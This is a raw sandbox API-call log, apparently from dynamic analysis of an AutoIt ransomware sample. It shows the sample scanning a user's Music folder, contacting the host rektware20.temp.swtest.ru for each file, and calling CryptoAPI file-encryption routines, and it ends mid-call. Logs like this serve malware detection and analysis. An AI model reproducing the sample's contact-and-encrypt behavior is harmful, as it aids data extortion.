1 [0064.365] FindNextFileW (in: hFindFile=0x164c830, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0064.365] FindClose (in: hFindFile=0x164c830 | out: hFindFile=0x164c830) returned 1 [0064.366] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.366] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.366] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.366] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.366] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0064.366] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0064.366] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.366] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0064.366] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0064.366] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0064.366] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0064.366] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ee0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620ee0, lpdwBufferLength=0x130ef8c) returned 1 [0064.366] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0064.366] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0064.367] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0064.367] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0064.367] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0064.367] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0064.367] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292c0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0064.367] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0064.367] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0064.369] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0064.369] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0064.369] CloseHandle (hObject=0x0) returned 0 [0064.369] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.369] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.369] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.369] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.369] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.369] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.369] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.369] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.369] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kXLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XLJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LJPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JPjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PjCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jCaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CaYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aYia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ia\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.370] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xP2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="twYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wYwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YwaPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="waPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aPwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PwpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wpH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pH.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="H.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0064.371] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.371] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.371] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0064.371] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.371] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0064.371] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0064.371] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0064.371] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0064.371] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0064.371] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ef8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620ef8, lpdwBufferLength=0x130ee1c) returned 1 [0064.372] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0064.372] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0064.372] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0064.372] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0064.372] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0064.372] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0064.372] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0064.372] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293b0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0064.373] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0064.373] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0064.373] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0064.373] CloseHandle (hObject=0x0) returned 0 [0064.373] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.373] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\xP2twYwaPwpH.m4a", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0064.373] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0064.373] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.373] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.373] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.373] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.374] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0064.374] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.374] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0064.374] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.374] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.374] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0064.374] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.374] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.374] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.374] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.374] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.374] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0064.374] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0064.375] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0064.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0064.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0064.375] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0064.375] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17abc38) returned 1 [0064.376] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.376] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.376] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0064.376] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.376] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.376] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.376] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.376] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.376] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0064.376] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.376] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.376] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.376] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.376] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.376] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.376] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0064.376] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.376] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.376] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0064.376] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.376] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.377] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.377] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.377] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.377] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: 